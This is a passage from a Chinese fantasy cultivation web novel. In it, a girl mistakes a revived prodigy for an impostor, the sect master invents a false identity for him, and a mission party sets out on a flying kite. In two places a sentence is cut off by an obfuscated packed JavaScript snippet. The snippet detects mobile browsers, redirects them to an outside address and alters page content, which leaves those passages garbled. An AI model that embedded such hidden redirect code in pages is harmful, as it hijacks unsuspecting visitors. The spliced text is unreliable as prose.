问题是,他万万没想到云知微前一秒还在痴人说梦要与他成亲,后一秒竟然直接对他动手了! 再加上他在棺椁中沉睡了整整三日,手脚酸软无力,于是身形慢了一瞬,到底还是被裹着五境灵力的苹果狠狠砸中腹部。 他人一晃,脚步虚浮后撤,却恰好被该死的门槛绊了一跤,整个人结结实实地摔倒在祠堂门口。 裴浔之捂着腹部,整个人都懵了。 他,生平第一次,被人用一个苹果打趴下。 云知微几步跨上前来,一把揪住裴浔之的衣领,气势汹汹道:“就你一个才三境修为的小弱鸡,连我都打不过,还想冒充我小师兄!” 作为修为更高的修士,是可以看出修为更低者的具体境界。 她一眼就看出,眼前这位少年的修为只有三境。 况且,这人眼眸黑白分明,而小师兄的瞳孔里有淡淡的紫色。 云知微居高临下,抬脚利落跨过裴浔之的腰腹,将自身重量压下去,伸手在他的脸上和脖子上乱摸,生气道:“你到底是谁!赶紧把面具摘下来!怎么摸不到!你是不是用了什么幻术!” 裴浔之用尽全身力气去推云知微,却推不动。 他怒道:“摸完了吗?有面具吗?幻术?什么幻术?三境的幻术你一个五境能看不出来?什么脑子啊难怪一直滞于五境!你这人有没有脑子!蠢!” 第一次被一个小姑娘这样堂而皇之地骑在身上乱摸,裴浔之想死的心都有了。 唯一庆幸的是,孤山聿那厮没有在此,否则,不出一日,整个九州都会知道此事。 云知微的情绪更加激动:“你承认了吧你就是三境!小师兄根本不会说我蠢!小师兄最温柔了!哪像你!又弱又凶!” 裴浔之原本在气头上,但听到“温柔”二字时,面部表情一滞,怒容露出怀疑的神色。 他突然拿不准了。 云知微口中的“小师兄”,说的是他吗? “你这人居心不良,定然是用了什么我不知道的易容法子!我要抓你去见宗主!”云知微起身,同时死死揪住裴浔之的衣领,将他往上拽。 被强行拽起来的裴浔之闻言,巴不得云知微这么干,冷笑:“知道路吗?不知道我带你去啊。” “不必如此麻烦。” 就在此时,一个和蔼低沉的声音响起。 云知微扭头一看,远处廊下昏黄宫灯中,立着一个须发皆白的男子,广袖长袍,仙风道骨,看不清容貌,但能感觉到其深不可测的修为所带来的威压。 紧接着,只是一眨眼的功夫,他就瞬移到了祠堂门口,完全没看清是怎么过来的。 他虽须发皆白,面容上也有不少风雕霜刻的皱纹,却并未因此而显得衰老,只让人一看便觉得踏实心安。 尤为引人注目的是,他及胸的白胡须上,竟用彩色发辫扎着一个蝴蝶结,咋一看上去,十分格格不入,活脱脱像个老顽童。 此人便是天墟宗的宗主,万悟常。 “宗主宗主!这个人假冒小师兄!”云知微迫不及待地先告状,然后手一撒,松开裴浔之,十分有礼貌地朝万悟常行了一个礼。 “……” 裴浔之猝不及防地被云知微松开,上半身往后一坠,腰差点磕在门槛上,好悬他腰腹好,及时滞空,一咬牙重新站直了。 万悟常和蔼可亲地拍拍云知微的头:“来,外面风凉,进祠堂说。” 走进祠堂,关上门,他看向云知微,白色的眉毛下弯了弯,夸赞道:“很好,是个心怀正义的孩子,遇见奸邪,及时出手。天墟宗和九州,需要你这样的好孩子。” 云知微又激动又开心。 第一次同宗主说话,她就被夸奖了! 她无视裴浔之嫌弃的眼神,背脊打直,脖子上拉,下巴抬起,整个人像日光下一株骄傲的向日葵:“谢谢宗主!” 裴浔之额角一抽,在心里暗骂:小人得志的孔雀。 “不过呢,他并未假冒。”万悟常笑眯眯地指了一下双手抱臂靠在门上的裴浔之。 云知微一愣:“啊?” 裴浔之冷哼一声,歪头看云知微:“听清楚了吗?我就是……” 万悟常笑容可掬地打断裴浔之:“他是裴浔之的胞弟。” 裴浔之话没说完,差点咬到自己的舌头:“……?” 云知微也是一惊。 她知道,小师兄是神都裴氏的二少主,上面有个兄长,是为大少主。 可她从未听说,裴氏还有个三少主。 但这话是从众人敬仰的宗主嘴中说出的,云知微下意识就选择相信。 可心里还是有疑问,于是她扭头去问裴浔之:“那你大半夜鬼鬼祟祟地来这里做甚么?” 裴浔之耸了耸肩:“你不也大半夜的在此?” 云知微指了指自己刚刚跪过的蒲团,理直气壮:“我来祭奠小师兄啊!” 裴浔之顺着她手指的方向,看见地上有本《微芒剑术》,立刻在心里将孤山聿那厮暴锤一顿,然后暗骂蠢货才会买这种假冒伪劣,回答道:“我也来是祭奠我兄长,有问题?” 他已经猜到宗主不想让别人知道他尚在人世的原因,于是从善如流地跟着胡说八道。 云知微辩驳道:“我这是因为白天长老不让我在此,我才晚上出来,可你……” 万悟常打断两人的对话,慈眉善目地冲云知微招了招手:“好孩子,来。” “噢噢。”云知微乖乖地跟在万悟常身后。 两人走到祠堂的东南角落里。 云知微好奇道:“宗主,怎么了?” 万悟常看了一眼不远处的裴浔之,转了一下身子,背对他,方才压低声音,道:“他啊,是神都裴氏的私生子。” 云知微瞳孔扩大,嘴巴拗成一个圆,惊讶地小小声“啊”了一下,心道难怪不曾听说。 万悟常叹了一口气:“他在裴氏地位甚是低微,等同奴仆,无法以兄弟身份参与祭奠,故而深更半夜前来。” 云知微恍然大悟,忍不住瞄了一眼裴浔之,露出同情的神色。 但她好奇心重,喜欢打破砂锅问到底:“既是私生,便不是同母吧?为何容貌这般相似呢?” 万悟常又深深叹了一口气,摇了摇头,滴水不漏道:“他呢,与浔之同父,原本的模样与浔之也有五分相似。但因私生子的身份,无法享有同等待遇;可同时,他又特别钦佩他这个同父异母的兄长,爱恨相生导致心态扭曲,便用了一些见不得人的手段,将自己易容为裴浔之的模样。” 云知微听得头大,握拳顶了顶太阳穴。 虽然父母早逝,可云衔山长兄如父,她在他毫不保留的宠爱中长大,虽说没有锦衣玉食,但只要她表露过想要什么,云衔山都会想方设法地给她。 周围长期接触的人里,最讨厌的就是罗不敢了;但即便是罗不敢,也在她被欺负的时候,也会闭着眼睛哆哆嗦嗦地上前,窝窝囊囊地求他们别欺负她。 她过得太幸福了,所以不太能理解万悟常所描述的这种幽微阴暗的复杂心理。 “我知道了宗主,他是个可怜人。”云知微给出一个简单的总结。 万悟常厚着一张老脸,不动声色地颔首,和颜悦色地循循善诱:“对,他以后也会加入天墟宗,你们同门之间一定要互相爱护;你若没有旁的事,且先离去罢,我还有话同他讲。” 云知微乖巧点头:“好的,我会的,宗主放心。” 一旁的裴浔之正抱臂倚门,兀自思索帝王骨的事。 少顷,一抬眸,见云知微已结束和宗主的对话,走到蒲团边,捡起地上的《微芒剑术》和她吃剩的那个苹果核,一道收回灵戒中。 然后,她走过来,抬起头,一脸认真地问他:“你叫什么名字?” 裴浔之愣了一下,一个模模糊糊的名字骤然浮现在脑海中,于是下意识脱口而出:“裴濯。” “裴濯。”云知微抬起手,拍了拍他的肩膀,一副欲言又止的模样,最后只蹦出两个字,“加油。” 在裴浔之莫名其妙的目光中,云知微捡起方才砸他用的那个苹果,用袖子擦了擦,啃一大口,然后打开祠堂门,离开。 一团嫩鹅黄逐渐没入夜色中。 裴浔之额角一抽。 蟒蛇残肢,供奉死人的苹果,砸过人的苹果。 还有什么是她不吃的? 他拧着眉,将祠堂门重新关好,靠在门上,深呼吸一口气,觉得度过了人生中迄今为止最荒谬的一日。 他看向一脸淡定的万悟常,问:“宗主,你跟她说甚么了?她让我加什么油?” 万悟常摸了摸自己的胡子,言简意赅地回答:“哦,我说你是裴氏私生子,性情古怪。” “……” 裴浔之先是无语,随即想到以后不会跟云知微有什么交集,于是将这事抛到脑后。 他用下巴示意了一下供桌上的那盏黑漆漆的命灯,问万悟常:“宗主为何要营造我已死的假象?” 那盏命灯,并非他本人的。 万悟常一挥手,祠堂内的灵力如水波一般快速流动起来,一眨眼编织成一张静音灵罩,将两人罩住,形成一个封闭的谈话空间。 他没有立刻回答,而是先拍了拍裴浔之的肩膀,恭贺自己这位旷世奇才的弟子:“浔之,做得不错。你如今才十六,却已晋入绝圣境,便是帝主本人,也是弱冠之年才晋入的。” 裴浔之不仅没有欢喜,反倒一脸耻辱,语气里满是自我嘲讽:“宗主谬赞了,我帝王骨被夺走,实在无用,断不敢同帝主他老人家比。况且,这本也没什么,裴氏族中也曾有人于十六晋入绝圣。” 闻言,万悟常眉心一动,一丝怅惘于眸中一闪而过,喃喃道:“裴见霜啊,可惜了。” 听万悟常直言不讳地说出这个名字,裴浔之微微凝眉。 神都裴氏,在他之前也曾出过一个惊才绝艳的人物,名唤裴见霜。 也是十六晋入绝圣境,并于帝主试炼中拿到九州帝王印,是当之无愧的九州第一人。 可惜,后来与天外妖域的妖勾结,使神都蒙羞;神都将其从裴氏族谱中除名,不允许任何人再提起“裴见霜”三个字。 “此人与妖域勾结谋害九州,咎由自取,没什么好可惜的。”裴浔之毫不同情道。 此乃神都内务,万悟常身为外人,不便多作评论,于是将话题转到正事上:“说你的事吧。我赶到蔚州郊外时,为你护法的六位长老已死,好在你并无大碍。” “但是,除了你们七人之外,地上还有这些东西……” 万悟常一边说,一边从灵戒中摸出一块晶莹剔透的轻薄水晶片,上面拓印着他当时看见的场景。 一间三面宽的房间里,裴浔之和六位长老浑身浴血,躺在地上。 除他们七人以外,还有数十具尸体。 而万悟常之所以称呼这些尸体为“东西”,是因为他们同崔九斯一样,身上各处长出了妖物的肢体:耳朵里长出尖而长的鸟喙、头顶冒出粗大蓬松的熊尾、眼角伸出柔软的蚂蚁触角…… 完全不同的物种被强行拼凑在一起,十分诡异,看得人毛骨悚然。 裴浔之视线一一扫过那些尸体,并在他们的眼睛上稍作停留,然后问万悟常:“宗主可曾检查过这些妖物?可有碧瞳?” 万悟常听到“碧瞳”二字,微不可察地愣了一下,旋即摇头否认:“没有。怎么了?” “我昏迷时,见过一双碧瞳。”裴浔之回忆道。 九州人的瞳仁,或玄或棕,只有天外妖域的妖或是九州的妖灵,才会有这种奇异艳丽的色彩。 他清楚地记得,在被割帝王骨时,他被痛醒,恰好对上一双碧瞳。 它们威压感十足,其中弥漫的杀意让裴浔之都觉得心惊;料想是一只十分厉害的妖,妖力大抵到了“末、辅、恶、绝”中的“绝”,相当于九州修士的绝圣境。 “看来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143304|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃走了,若能抓到,或可查明仙庭那些狗究竟在搞什么鬼。”裴浔之惋惜道。 他直接认定这是仙庭陆氏的手笔,万悟常没有反驳。 理论上,仙庭陆氏和玉京崔氏,都有动机。 他们都想要九州帝印,只要裴浔之一死,就会少一个强有力的竞争对手。 但是,玉京崔氏势微,族中青黄不接,并没有拿得出手能去争夺帝印的修士。 就算杀了裴浔之,仙庭也还有一个据说能与裴浔之匹敌的陆玉珩;所以,诛杀裴浔之,对玉京来说,风险高收益小,不划算。 而风险低收益高的法子,是坐山观虎斗。 因此,近百年,玉京两耳不闻九州事,集中精力一心培养族中精锐,尽力维持摇摇欲坠的三大世家之名,好苟到另外两家两败俱伤之日,坐收渔翁之利。 所以,对裴浔之下手,有动机且财力实力兼备的,只能是仙庭陆氏。 可仙庭又不敢明面上与神都撕破脸皮,从而导致两家直接开战,于是只能在背地里使这种下三滥的手段。 裴浔之甚至怀疑,“一步登天”一事也是他们搞出来的。不然,为何恰好在他绝圣渡劫快到时,突然冒出个“一步登天”? 当时,他知道自己绝圣渡劫快来后,本不打算下山做任务了;但“一步登天”用了妖血,事关妖域,他不得不去。 这不就是在故意引他离开天墟宗,方便动手么? 万悟常摸了一把白色胡须,问裴浔之:“你可知对方是怎么对你动的手?” 裴浔之一边回忆,一边思索。 一开始,他们调查到的是,一步登天的源头是蔚州的济世堂,于是这才有了去蔚州的任务。 刚到蔚州郊外,尚未进城,裴浔之的绝圣渡劫就来了。 于是,裴浔之进入渡劫芥子中,同他一道下山的六位长老,在芥子外结下护法大阵,防止外界干扰。 一切都很顺利,裴浔之扛过了天降雷劫,成功晋入绝圣境。 他还记得,刚出芥子时,一位叫谭峥嵘的长老满脸激动地抱住他大吼一声“太好了!”。 接下来,他便什么都不知道了。 回忆到这里,裴浔之的思路逐渐清晰起来,一字一句道:“挖我帝王骨的,是那六位长老之一。” 按常理来讲,既已是绝圣境,又怎会被人将帝王骨夺了去? 这其中的关窍在于,成功晋入绝圣境后,人会有一个弹指瞬间处于混沌期:意识模糊,四肢无法动弹,宛若初生稚子。 所以,定是某位长老抓住这个时机,对他下手了。 万悟常问:“是谁?” 裴浔之毫不犹豫:“谭峥嵘,我脱离芥子后,他是第一个接近我的。” “他定是趁机给我下了迷药,然后杀了另外五名长老,再挖出我的帝王骨。” 万悟常颔首:“在理,不过此人已死,口无对证,倒是让仙庭侥幸逃过。” 若有真凭实据,神都裴氏得知,必定会找仙庭讨要公道,在帝印尚未认主之前,两大世家就开战,九州必乱。 “我更好奇的是,是谁出手救了你?” 闻言,裴浔之一愣:“不是宗主您?” 万悟常摇头:“不是我。” 他脑子里划过裴浔之说的“碧瞳”,心里想:难不成,是那位? 与此同时,裴浔之在记忆里捕捉到一个东西:无回剑的气息。 当时,他明明动弹不得,无法使用无回剑,气息何来? 难不成,是他? 两人心里有了猜测,但都选择保持沉默。 大致理清了来龙去脉,对于一时想不到答案且无害的事,裴浔之选择暂且放到脑后。 他对万悟常道:“宗主,我要去寻帝王骨。” 万悟常奇道:“去何处寻?你感应到了?” 帝王骨是无法被销毁的,一定还在;而若它尚在九州,裴浔之便能感应到它。 裴浔之摇摇头:“我醒来后试过,感应不到,只能说明,它如今不在九州,在妖域。” 万悟常似乎反对他去妖域,沉吟片刻,缓和道:“浔之,你有两条路……” “不,只有一条路。”裴浔之不怎么礼貌地打断万悟常,语气坚定,“去昆吾山,入妖域,在明年帝主试炼前,把帝王骨找回来。” 万悟常摸了摸胡子,轻叹一口气:“帝王骨虽人人向往,但不见得是个好东西;它既是帝主馈赠,也是掣肘……我建议,你从三境开始修炼;于你而言,这并不算难事。” 裴浔之态度更加坚决了:“不行,来不及参加帝主试炼。” “在裴氏,只有我能拿到九州帝印。” “何必把自己逼这么紧?”万悟常无奈,哭笑不得,似乎不大理解年轻人的执拗,“你们裴氏族中,不还有你兄长吗?” “他?我算过,他得再修个百八十年的才行,裴氏等不起。”裴浔之回答。 他语气认真,没有半点鄙视之意,只是在陈述一个事实。 但旁人听上去,只觉得欠揍。 万悟常胡子一抖,心想:你兄长居然没有对你痛下杀手真是算他脾气好。 他知道犟不过裴浔之,于是不再劝他。 “那可要告知神都?你如今孤身下山,若是仙庭和玉京知道你还活着,定会痛下杀手。不如让神都暗中派人保护你。” 裴浔之摇头拒绝:“不必。” 裴氏族内并不干净,若是消息传到神都,被派出的不仅仅是保护他的人,还会有杀手。 万悟常似是了解神都的情况,没有多问,允了裴浔之:“行,三日后有一支队伍去蔚州清妖气,你且同去罢。” 这种由内门弟子组成的低级修行队伍,基本每隔七日就会有一支从天墟宗出发,遍布在九州各地执行一些没什么难度的任务,没人会注意。 谈话结束,静音罩无声消弥。 万悟常想了又想,不放心地补了一句:“给你一百日。若一百日内拿不到,就回宗门来;你若不回来,我可就亲自来拿人了。”? 裴浔之走到祠堂门边,推开门,手扶门框一笑:“谢宗主厚爱。” 他转头,出门,留给万悟常一个绝不回头的背影:“若拿不回帝王骨,就当裴浔之死在妖域了。” 是的,他必须拿回帝王骨,稳坐绝圣境,拿到九州帝印,让神都裴氏一统九州! 曾许帝王志,九州第一流。 少年挥挥手,背脊孤决如剑,浑身散发出一股拿不到九州帝印就去死的狠倔桀骜劲儿,一眨眼消失在茫茫夜色中。 7. 第7章 初春晴朗,万里无云,和煦的阳光洒向百花峰,穿过满山花树,落入那一方简陋而素净的小院。 小院正北,一棵山樱花树下,粉白小巧的花瓣悠然飘落,铺满树下一方小巧而精致的竹制供桌上。 一盏半碎的命灯,静静伫立在供桌中间;余下的那一半灯罩上,只能看见一个模糊的“相”字。 不知是何人的命灯。 云衔山手里拿着三根香,高举过头,深深弯腰行礼,上前一步上香,然后退回,双手交错比划片刻。 云知微在一旁认真看完,帮云衔山说出来:“主人,阿兄说,请保佑微微此行平安。” 接着,她恭恭敬敬地捧着自己最喜欢吃的小饼干,对那半盏命灯一鞠躬,有样学样:“主人,请保佑微微顺利完成任务。” 并在心里追加解释“我指的不是清除妖气的任务,而是阿兄要平平安安地活下去”。 然后一脸虔诚地把小饼干放到供桌上。 一阵风吹过,树上和供桌上的花瓣随风起舞,宛若粉白色的蝴蝶,翩然于这一方狭窄的小院里。 像是这盏命灯的主人在撒花庆贺。 “哇!阿兄你看!”云知微眉眼飞扬,笑容明快,扯了扯云衔山的袖子,“这次下山有好事发生!” 说罢,她欢呼着跳入花瓣雨中。 云衔山含笑点头,转身进屋;少顷,拎着许多东西出来:三件厚实的冬衣,一袋黄澄澄的橘子,一堆五彩发绳和各种发饰,还有裴浔之的人形立牌。 “发绳要的,橘子和立牌也要。”云知微一样一样接过,一股脑塞到灵戒里,然后嫌弃地推开云衔山试图偷塞的丑陋冬衣,“不要不要!这太丑了阿兄!” 云衔山抱着冬衣,眉头拧得能滴出水来,比划手势:“要不,不去了?” “那可不行,我都报名了,大家都在山下等着出发呢!”云知微头摇得像拨浪鼓,一脸决绝地拒绝。 云衔山叹了一口气,继续往灵戒里塞云知微为他攒下的续命丹,又是一通比划。 “倘若遇到危险,就让别人上,你别往前冲,一定要保护好自己。你上次为救那医女额头被撞那么大一个包,三天才完全消掉……” 他了解云知微,一身使不完的牛劲儿和一腔纯真的热心肠,走在路上看见一只小鸟在树梢上东张西望她都会去问人家是不是迷路了。 “知道啦!阿兄别担心,我会保护好自己的。”云知微宽慰云衔山的同时,伸手拦住他的动作,“阿兄你干什么呀,这续命丹是我给你的,你别给我了。” 云衔山挂着一脸宠溺的笑容,比划道:“我没事了。” 云知微才不信。 带有黑血迹的手帕,日益消瘦的身形,夜深人静压抑的咳嗽声……明明是生机在日复一日地消散。 她不开心撇了撇嘴:“又骗人!阿兄你若骗我你就是小狗!” 云衔山微怔,旋即咧嘴一笑,头一歪,吐出舌头,哈了几口气。 云知微被逗得噗嗤笑出声,踮起脚,抱了抱云衔山,笑嘻嘻道:“小狗再见!乖乖在家等我回来。” 说完,她撒开手,头也不回地跑出小院子,下山去了。 云衔山望着云知微一蹦一跳逐渐消失的背影,脸上笑容隐去,眉眼下垂,一脸不舍。 他一手扶着门扉,一手撑着膝盖,几声从胸腔爆发出的剧烈咳嗽之后,吐出一滩粘稠的黑血。 吐完后,他缓慢蹲下,将头埋入膝盖间,整个人蜷缩起来;明明是个身形修长的青年,却宛若秋末枯枝上最后一片败叶,在飘零秋风中止不住地瑟缩颤抖。 为了不让云知微担心,他一直在强装无事;这一泄劲,噬心钻骨之痛登时排山倒海而来,毫不留情地将他整个人淹没。 足足三炷香后,他才从膝盖间抬起头,由于强行咬牙忍痛,嘴角渗出一丝鲜红的血迹。 他缓了缓,撑着门扉起身,望着山樱花树下那半盏残破命灯,眼神中流露出一种归家般的眷恋神色。 *** 天墟宗山脚下,建了一座供修士们歇脚的三开间小轩院。 轩内庭院中,拢共有三十多名修士。 一个碧衫少女坐在一方石桌旁,一手托腮,一手随意翻阅一本册子;十来名内门弟子,以她为中心,或站或坐,错落环绕在她周围。 而剩余的外门弟子们,贴着另一侧的墙院墙,或坐或蹲。 内门和外门,泾渭分明地拉开距离。 “裴……濯?” 崔九斯坐在碧衫少女身边,抓着一张写满修士名字的长卷抖了一抖,狐疑地打量对面靠墙抱臂而立的黑衣少年。 那少年下巴都懒得抬,只掀了一下眼皮,朝崔九斯投来一道嫌弃意味十分浓重的目光,算是答应了。 接收到目光的崔九斯突然察觉到一股熟悉的压制气场,登时如坐针毡,压低声音问身边的碧衫少女:“阿姐,这,这人……真的不是裴浔之吗?看起来比裴浔之脾气差很多,但长得完全一模一样啊!” 他唤阿姐的这位,是他同父同母的亲姐姐,玉京崔氏的二少主崔九萝。 崔九萝眼皮都没抬,素手翻了一页纸,声音没有起伏:“不重要。” “啊?”崔九斯不解,“可阿姐你不是喜欢他吗?阿娘也一直在找机会同神都联姻呢。” 崔九萝没有立刻回答,眼神在裴浔之身上快速逡巡一圈,才缓慢从鼻腔里发出一声极其轻微的笑声:“是不是裴浔之,与生死无关,只与境界有关。一个等同于残废的三境,就不是神都二少主裴浔之。” 崔九斯挠了挠头,脸上的茫然神色加重,疑惑地“啊”了一声。 崔九萝合上书,似乎不想浪费时间对牛弹琴,换了个话题问:“人齐了吗?” “我看看啊……”崔九斯低下头,食指在名册上划拉了一遍,停在末尾的“云知微”三字旁边。 他清了清嗓子,对内门那边的罗不敢高声喊道:“喂!那谁,你们外门的人,云知微还没到,不等了啊!诸位收拾收拾,准备走了啊!” 裴浔之一听,背立刻离开墙面,抬脚就走。 结果差点被蹲在墙边正缓慢起身的罗不敢绊了一跤。 罗不敢摸着腰间壮胆用的佩剑,畏畏缩缩地站起身,心中叫苦连天。 受云衔山所托,为了照看云知微,他捏着鼻子请缨成为此次外门任务的领队。 但生性本就内向胆小的他,实在恐惧与人打交道。 他结结巴巴道:“崔,崔师兄,您您您看时辰还没到呢,要不再等等?” “可大家伙儿都到了啊,早日出发就能早日完成任务,是不是?”崔九斯将名册卷起来,慢悠悠地敲了敲桌面。 崔九萝站起身,理了理裙摆,对罗不敢温柔一笑:“过几日还有一支清妖气的队伍,她去那个也行。” 罗不敢张了张嘴,彻底语塞。 在这位貌美温和的玉京二少主面前,他都无法正常开口交流,更别提同她辩论。 况且,崔九萝这个回应并无问题,他实在找不到理由劝她再等等。 崔九萝一带头,所有修士都动了,亦步亦趋跟在她身后,走出轩院。 轩院外的一片宽阔空地上,停着一艘巨大的飞鸢。 飞鸢由竹片制成,双翼纤薄宽阔,鸢身造型流畅灵动,丝毫看不见拼接之处,可见制鸢人出神入化的手艺。 只听哗啦一声,一个麻绳搓成的软梯从飞鸢上垂下。 负责驾驶飞鸢的修士探出一个头,冲众人招手:“诸位人可是齐了?那便上来罢。” 崔九萝一手攀上软梯,一手提起裙裾,抬起右脚。 “崔师姐,微微她很想参与这次任务,能不能再等一等?” 突然,一个软糯的声音怯怯响起。 众人循声望去,看见一个柔柔弱弱的小医女。 原来是紫藤。 紫藤知道,云知微这次出门就是要去蔚州,而几日后的那支队伍是去另外一个地方的。 她纠结了好一会儿,紧张得快将嘴唇咬破了,脑子里闪过云知微额头上为了她砸出的那个红肿大包,到底还是鼓起勇气,颤颤巍巍开了口。 崔九萝一直温婉的面容突然稍稍变了色,语气虽然依旧温和,但能听出毫不掩饰的嫌弃。 “你是什么身份?” 她说的不算直接,但在场众人都能听出,后面一句是“也配同我说话”。 外门弟子们面面相觑,发出低而不满的咕哝声。 回春医堂人手不够,初来的小医女紫藤被分配到外门这支队伍里。 崔九萝言下之意,不就是瞧不起外门弟子? 作为不情不愿上位的领队,罗不敢本想当个缩头鹌鹑,但不知被谁推了一把,一个踉跄栽出人群。 于是,众目睽睽之下,他只好底气不足道:“呃,这……崔师姐,大家都是同门弟子……” 在崔九萝开口之前,崔九斯立刻站出来维护自家阿姐,语气鄙夷道:“同门?你们先睁大狗眼看清楚,她是不是同类!” 说话之间,他一挥,朝紫藤打出一道灵力。 紫藤面露惊惧之色,深一脚浅一脚地慌张后退。 只听一声细小的窸窣声,她的长发、衣袖、裤角中突然密密麻麻钻出细长的翠绿色藤条。 它们快速汇聚起来,在紫藤身前竖起一道藤条墙,试图挡住崔九斯这一击。 崔九斯的那道灵力,十分轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143305|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松地洞穿藤条墙,狠狠打在紫藤的腹部上。 紫藤哀呼一声,踉跄倒地。 “妈呀是个妖啊!” “哎呀救命啊!” 原以为崔九萝歧视外门而对她不满的外门弟子们,见状大惊,顿作鸟兽散,纷纷远离紫藤。 罗不敢也吓得屁滚尿流,本想抽出腰间的佩剑来防身,但哆哆嗦嗦地没抽出来,于是扭头就跑。 没跑几步,就一头撞到一直冷眼旁观的裴浔之。 裴浔之一脚将他踹了回去,不耐烦道:“都闭嘴,吵什么?一只妖灵而已,怕成这样,还走不走了?” 同时心想,跟这些废物在一块,做什么事都慢,离开天墟宗后,他得尽早离开队伍,单独行动。 “哦哦对,是妖灵,是妖灵哈。”罗不敢一个狗吃屎摔在地上,倒是把脑子给摔清醒了,尴尬地挠挠头。 九州所惧怕的,是来自昆吾山后那些天外妖域的妖。 百年前,天外妖域被打开后,妖气泄入九州;九州的动植物被妖气感染后,有些承受不住暴毙了,而有些则修出人身,被唤作妖灵。 九州的妖灵是受到管辖的,会登记在册,并受法术制约,不会对人造成伤害;不少大家族会豢养妖灵,把他们当做奴仆来使用。 众弟子回过神来后,不再害怕,但也没人为紫藤说话,都默不作声地与她拉开距离。 紫藤无助地蜷缩起来,抱紧自己,浑身发抖。 从她身上冒出的翠绿藤条,渐渐失了原本的苍翠,变得枯黄衰败,软绵绵地垂落在地面上。 “不是还没到出发时间吗?大家怎么都到了啊?” 突然,一个清脆的嗓音响起,宛若春日奔涌不息的叮咚溪流,充满着无穷无尽的朝气。 云知微钻进人群,目光一扫,看见缩在地上的紫藤,发出一个疑问:“咦?” 听见云知微的声音之后,紫藤将头埋得更深,并立刻用藤条将自己紧紧包裹起来。 紫藤听见云知微朝自己走过来,不敢抬头,无比希望能立刻遁地逃走。 妖灵生来就低人一等。 她本打算对云知微隐瞒这个身份,能瞒多久就瞒多久,没想到,这么快就被发现了。 好不容易遇到一个喜欢她的人,她希望可以慢一点失去。 她紧紧闭着眼睛,直到云知微强行扒开她的葡萄藤,伸出温暖的双手,捧住她的脸:“小阿藤,你是葡萄妖灵啊?” 她还没来得及品味云知微这番话中蕴含的情绪,就听云知微欢喜道:“哇太好了!那你是不是会结葡萄啊?我最喜欢吃葡萄了!” 紫藤惊讶。 她整个头被云知微抬了起来,睁开眼,猝不及防撞上云知微那双清澈中带着馋意的双眸。 在日光下,那双美丽的眼瞳在某个角度折射出一点淡淡的碧色,宛若璀璨的宝石。 云知微蹲在她面前,歪着头,继续好奇追问:“那你一年四季都能结葡萄吗?” 紫藤呆愣片刻,才小声道:“不行,得等到夏日……” 她原本枯萎的藤条,在少女亮晶晶的注视中,重新恢复了生机,变得苍翠欲滴。 “那也很厉害了,如果我也能结葡萄就好了。”云知微露出真心实意的羡慕神色,“想吃的时候就从自己身上摘一颗下来。” 紫藤悄悄红了脸,小声道:“你喜欢的话,我的都给你。” 云知微激动地抱住她,众目睽睽之下吧唧亲了一口,一副捡了大宝贝的模样。 众人震撼。 裴浔之看完全程,在心里加重了对云知微的印象:果然,什么都吃。 崔九萝的视线扫过裴浔之,顺着他的目光,在云知微身上定格片刻,然后移开,淡淡道:“诸位,抓紧时间,登鸢罢。” 众人有序地排队,准备登上飞鸢。 紫藤被云知微温暖干燥的手紧紧牵着,感觉仿佛有一股暖阳,自她掌心灌入四肢百骸,将整个原本皱巴巴的葡萄藤熨得十分妥帖。 她小声对云知微道:“微微,抱歉,我一直没有说我其实是妖灵……因为我担心我说了以后你就不同我做朋友了。” “嗯?”云知微歪了歪头,脆生生道,“我早就知道你是妖灵了呀,只是不知道你是葡萄藤而已。” 紫藤愣住:“你……” 云知微嘻嘻一笑,道:“一日癫里面有妖血,十分危险,药婆婆向来都是亲自整理;那天突然换成你一个新来的小姑娘,肯定因为你本身就是妖灵呀!那个剂量的妖血,对妖灵没什么伤害。” 紫藤恍然大悟:“这样啊,微微你……” 云知微骄傲地冲紫藤一眨眼,迫不及待地抢先表扬自己:“是吧,我顶厉害吧!” 8. 第8章 哗啦—— 负责驾驶飞鸢的修士,将满满一袋灵石尽数倒入动力槽。 固体灵石顿时化作沸腾的液体,顺着动力槽咕咚流入各处机关,催动飞鸢。 飞鸢身上阴刻的繁复咒纹渐次亮起,机关连接处发出嘎吱嘎吱的声音,双翼开始急速震颤。 轰隆—— 飞鸢极快地拔地而起,在强劲的山风中,迅猛冲入高高的云霄。 “哇!” 这是云知微第一次乘坐飞鸢,激动得吱哇乱叫。 有经验的修士们都眼观鼻鼻观心地在最稳固的飞鸢中央,保持盘腿坐这种最稳固的姿势。 云知微被大风吹得眼泪都出来了,依旧顽强地扒着鸢身,眯着眼睛探头往下看,发出没见过世面的大呼小叫。 “天墟宗变好小啊!百花峰!那是我的家!阿兄!阿兄!” 突然,天上一阵狂风卷过,飞鸢猛地震荡,云知微没站稳,摔倒在地。 于慌乱之中,她一把抱住一根柱子,好悬才没被大风刮走。 待飞鸢恢复稳定后,她这才发现,“柱子”是一个人的腿。 她抬头一看,撞上一双漂亮桀骜的眼眸。 小师兄? 云知微的心狂跳了一下。 旋即,那眼眸里闪过一丝不耐烦的意味,她立刻反应过来,不是小师兄,是裴濯。 